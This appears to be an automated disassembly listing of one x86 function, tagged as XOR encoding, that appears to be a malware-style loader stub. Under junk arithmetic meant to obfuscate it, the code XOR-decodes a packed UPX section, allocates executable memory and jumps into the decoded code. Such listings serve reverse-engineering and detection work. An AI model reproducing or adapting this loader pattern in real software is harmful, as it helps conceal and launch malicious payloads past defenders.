Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x105cc20
and eax, eax
inc eax
popal
dec eax
or eax, edi
mov esi, 0
mov ecx, edi
and ebx, ebx
add eax, 0x86837d0e
mov edx, ecx
dec eax
not ebx
or ebx, eax
mov edi, edx
sub eax, 0xc346a7d3
mov ebx, eax
inc esi
add ebx, 0xc303c60c
not eax
cmp esi, 0x1008bba
jne 0xa789be
add ebx, 0xc848995a
dec eax
sub eax, 0xa72d3799
sub eax, edi
sub edi, eax
inc eax
mov ebx, 0xa78796
and ecx, ecx
inc esi
mov edi, 0xa7898a
not edx
add esi, 0x4c84617f
mov eax, dword [ebx]
add edx, esi
dec esi
and eax, 0xff
mov esi, ecx
inc esi
add esi, 0x78c03db7
xor dword [edi], eax
inc ecx
mov edx, esi
add esi, 0xabfb50f3
add edi, 1
not esi
sub edx, esi
add edx, esi
inc ebx
sub esi, ecx
and edx, esi
sub ecx, 0xf93f7a0
cmp edi, entry0
jl 0xa78a15
add ecx, esi
sub ecx, 0x9ad8e5d7
mov esi, ecx
and edx, edx
sub edx, 0xacb87ccf
inc ebx
sub ecx, ebx
mov edi, 0xa7898e
add ecx, 0x640414b0
inc edx
mov edi, dword [edi]
not ebx
and esi, ebx
mov edi, dword [edi]
add esi, 0xbc2f9dd2
mov ebx, ecx
sub esp, 4
mov dword [esp], edi
and ebx, ebx
mov ecx, 0x2296eff8
mov edi, 0xa7898a
mov ecx, edx
inc edx
mov edi, dword [edi]
add edx, edx
add edx, esi
mov edi, dword [edi]
add edx, 0x6bd6315f
sub ecx, ebx
not ecx
sub esp, 4
mov dword [esp], 0xa78992
and ecx, ebx
add ebx, 0xe63171ff
mov ebx, 0x7444dc8d
call edi
mov esi, 0x1dc248ad
add ecx, edx
inc esi
mov edi, dword [esp]
add esp, 4
not edx
or esi, edx
sub ecx, 0xdb7ad63e
push 0xa7899f
or ebx, edx
sub esi, 1
push eax
sub edx, ecx
sub edx, 0xaa250358
call edi
or esi, esi
inc ecx
sub esi, edx
push 0x40
sub ebx, edx
sub esi, ebx
inc ecx
push 0x3000
add ebx, 0xcbf53a5a
add ecx, 0x8d58a5a4
sub esp, 4
mov dword [esp], 0x200008c9
and edx, edx
or edx, ecx
push 0
and ecx, edx
mov edx, 0x1b2abd2b
sub ebx, 0xf40e72ce
call eax
mov ecx, 0xa4c3dc4d
sub esi, 0xff636853
add eax, 0x20000821
or esi, ebx
sub ebx, 0x4f4dfac6
mov edi, 0x5c30118
sub edx, ecx
add edx, 0x2f693d4d
mov dword [eax], edi
sub ebx, 1
not ecx
mov edi, dword [eax]
inc esi
mov ecx, 0x92efe323
mov esi, ecx
cmp edi, 0x5c30118
je 0xa78b83
mov edx, 0
mov ebx, dword [edx]
add esi, 0x3868741b
mov ecx, edx
mov ebx, edx
sub ebx, 0xfbf1cd76
or edx, esi
dec eax
dec edi
mov ecx, section.UPX1
add eax, eax
add edi, edi
add edi, 0x8a986f06
mov edx, 0xa78795
add edi, 0xea0a3e54
mov eax, edi
mov ebx, 0
add eax, 1
and edi, eax
not eax
mov esi, 0xa78796
mov edi, 0x38309757
sub edi, 0x2ec9e892
not edi
lea esi, [ebx + esi]
add eax, edi
sub edi, eax
mov esi, dword [esi]
not edi
mov eax, edi
and esi, 0xff
sub edi, 0x5ed94337
not eax
mov eax, edi
inc ebx
or edi, eax
mov eax, 0x1d3df1ec
cmp ebx, 0x1f4
jne 0xa78c06
mov ebx, 0
inc eax
or eax, edi
sub edi, eax
add edi, 0x885d9bdc
xor dword [ecx], esi
sub eax, edi
dec eax
mov eax, edi
add ecx, 2
sub edi, 0xfd8010d7
add eax, eax
not eax
cmp ecx, edx
jl 0xa78bc2
or edi, edi
dec eax
mov eax, edi
and edi, eax
sub eax, 0xf552f2ac
sub eax, 0x5906916a
mov edi, section.UPX1
sub ecx, esi
inc ecx
mov eax, section.UPX1
not esi
sub esi, 0x86d1b6b
mov ebx, 0xa78795
inc esi
inc esi
and ecx, esi
mov edx, 0
sub ecx, 0xcbca313b
mov ecx, 0x25fe1c4e
mov esi, 0x4fdc65ab
mov dl, byte [eax]
add esi, 0xe5ca3913
add esi, 0xddd5d254
or ecx, ecx
mov byte [edi], dl
sub esi, ecx
inc ecx
add esi, ecx
add edi, 1
or esi, ecx
inc esi
sub esi, ecx
add eax, 2
mov ecx, 0x8db0bb6b
add ecx, 0x629f0de7
mov esi, 0x7f5b8b9b
cmp eax, ebx
jle 0xa78c76
sub esi, 1
inc esi
add edi, 0x8352d446
or edi, eax
and eax, edi
sub esp, 4
mov dword [esp], 0x8dc6a0
inc edi
add edi, 0x7c7b16ba
not eax
ret